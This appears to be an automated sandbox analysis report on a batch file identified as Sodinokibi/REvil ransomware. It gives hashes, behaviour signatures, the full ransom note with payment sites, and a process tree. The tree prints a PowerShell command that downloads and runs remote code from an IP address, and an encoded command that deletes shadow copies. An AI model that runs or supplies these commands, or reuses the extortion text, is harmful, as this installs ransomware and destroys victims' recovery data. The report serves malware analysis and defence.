Analysis

  • max time kernel
    85s
  • max time network
    88s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    12-08-2020 07:10

General

  • Target

    16158bc1db4ba8fb8e9a13c34c8a51e1.bat

  • Size

    216B

  • MD5

    bf75953509fd375616976c6eb6f30aff

  • SHA1

    3bf54cce4abd3c3434b7073e4ebe0f480295923c

  • SHA256

    5edd7915fd9b57f2643fe8abf646344fccd2efc98d4dcbeab47659b14f59feb4

  • SHA512

    8362b4f7c808e754bb468b31140b3ec023527e468ec8a9171111f77e39c55a8b04cc3442bc4c334a3cce25e90b9ce5cd14842d7cbd66fef8d6051d02f8e953f9

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/16158bc1db4ba8fb8e9a13c34c8a51e1

Extracted

Path

C:\4v057e0-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 4v057e0. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). We have copied financial files and other important information about personal data, it will be published on the Internet or will be used against you if you do not pay us, so if you do not want such consequences as customer churn, media coverage, fines like GDRP and other damages, we recommend you to contact us and pay the ransom. [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/71D027CBC5483D95 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/71D027CBC5483D95 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: POX/a2yF2zomIaPN+UxRYa14bR/xN+ss7WSwlS0b3pVut5Ms1rzZ4XhFjRu5pbep Lf7b4kaGX7s14moz4SeNLMCV9DYm6sOhtzxOPT9RRDdhreDM5G70jIPQ2MTKZbS4 DlwPYIcZhxDs5K5FKxLEX4FORiWPEHQG+Hv/zntSZI1x+HYzx24QT6Li4YWlnmpS MtAZw1LaXy1f6HJZ36Z+SrpPbI4bcVI947RIGowk/er7FmBwFavhCRd+VtDdeaH7 6lsC/9iMiFoWgqIDD9tDrwS0DX1lAgFcgFmNHd9bvKh71M5OhFsjGNZUDah2fRcO PtC7ZjSKo5mwnY6qxNA/7xZRGRZrw7Fz+6sNgnvxwrEWQJTZtVrBj9RGKfqiBK3r dMwZ2WCPTlNWugBIJN5FhnRpSGbmisivnuzaxPcwrt7LlOf4b1MJjv0RdLnhMFDp mgGd8TXUQPd+LGUbxXTFukYrM1bFcdrnaRGlJxnC3cBoLFWWY2VuuCWvhLc0mj/o rP/WctgAnDdqBC2kmOagmamdPso8FMfXPmCYV1dWXw6VV0bAxTenqx8YihJYP+XQ 5aQdFogykqyJCBWcCr9l99iVtbb9vlbGSZybAw1zTciqnA6WLYAVdXr9VXC4FX12 fFA6fIx3P07xslbW1gSkViqRK/MHN1Kb0T+YKzN8E42Aqmoc0OBKzcwr4HOBsw33 cMSZtRNLIFQhse2lm9JRX0y5hlcfu6HzI1Nv6wOCz1kWhotC4w2chiB0thOdfPsp wGn0EJb4fvMG3ZUxGZEODWiWi5iQRRLlk6HtUOS73/ylmurgRsK+8dn5WWAbCTot PWS3000lgLRpJgN16F6G38l36nsE0R4dKs6jjfmng+Os0LMPRXOa+OSrVKU+B9BQ 8BzykKgKzRIrZR8FlYcXR/IMjxg9mlr0sPExbxZTT+BBvAK9r5PJzc7gwj0VreZS Whw8HftTx3vdxC0ukNByJ6GsaBux7WUYKgJ3KjyZ12FLkR4BUxVI0Lm6VT4p+0jL ETYpcQopoyeMu2uZkMwBCNPhTSry6wlcpTZW4h1/SrQLjOdlN02fjA6hPZk/MRNK XKDh7R2S2BDZcQ12lse4VYVs+bQMvJQyPFa+NsQD0D43D6KkdhQl8FbvmEA8CaU4 eprgslvupbyjDlaZCEn9kqZGN0pgK/g0C3kirtSq2BO5A4qYcD7K5mOHze/uHoWu Q4gxhaudRoWweAKXW9NZQGG0Ys0t4i2wDj84HavEcmThhhciDh0pPMb9VhsbYfmh unsY8OhJ0zkpjQ6TiddKs8CK ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/71D027CBC5483D95

http://decryptor.cc/71D027CBC5483D95

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Blacklisted process makes network request 1 IoCs
  • Modifies extensions of user files 9 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Enumerates connected drives 3 TTPs
  • Modifies service 2 TTPs 4 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 34 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\16158bc1db4ba8fb8e9a13c34c8a51e1.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:964
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/16158bc1db4ba8fb8e9a13c34c8a51e1');Invoke-ZOPUSYDNI;Start-Sleep -s 10000"
      2⤵
      • Blacklisted process makes network request
      • Modifies extensions of user files
      • Sets desktop wallpaper using registry
      • Drops file in Program Files directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3880
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3968
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Modifies service
    • Suspicious use of AdjustPrivilegeToken
    PID:352

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/3880-0-0x0000000000000000-mapping.dmp

  • memory/3880-1-0x0000000073320000-0x0000000073A0E000-memory.dmp

    Filesize

    6.9MB

  • memory/3880-2-0x0000000004530000-0x0000000004531000-memory.dmp

    Filesize

    4KB

  • memory/3880-3-0x0000000007240000-0x0000000007241000-memory.dmp

    Filesize

    4KB

  • memory/3880-4-0x0000000006EC0000-0x0000000006EC1000-memory.dmp

    Filesize

    4KB

  • memory/3880-5-0x0000000007060000-0x0000000007061000-memory.dmp

    Filesize

    4KB

  • memory/3880-6-0x00000000070D0000-0x00000000070D1000-memory.dmp

    Filesize

    4KB

  • memory/3880-7-0x0000000007980000-0x0000000007981000-memory.dmp

    Filesize

    4KB

  • memory/3880-8-0x00000000071A0000-0x00000000071A1000-memory.dmp

    Filesize

    4KB

  • memory/3880-9-0x0000000007D70000-0x0000000007D71000-memory.dmp

    Filesize

    4KB

  • memory/3880-10-0x0000000008100000-0x0000000008101000-memory.dmp

    Filesize

    4KB

  • memory/3880-11-0x00000000097D0000-0x00000000097D1000-memory.dmp

    Filesize

    4KB

  • memory/3880-12-0x0000000008D50000-0x0000000008D51000-memory.dmp

    Filesize

    4KB

  • memory/3968-13-0x0000000000000000-mapping.dmp

  • memory/3968-14-0x0000000073320000-0x0000000073A0E000-memory.dmp

    Filesize

    6.9MB

  • memory/3968-24-0x0000000008CF0000-0x0000000008CF1000-memory.dmp

    Filesize

    4KB

  • memory/3968-26-0x0000000007F00000-0x0000000007F01000-memory.dmp

    Filesize

    4KB

  • memory/3968-27-0x0000000009290000-0x0000000009291000-memory.dmp

    Filesize

    4KB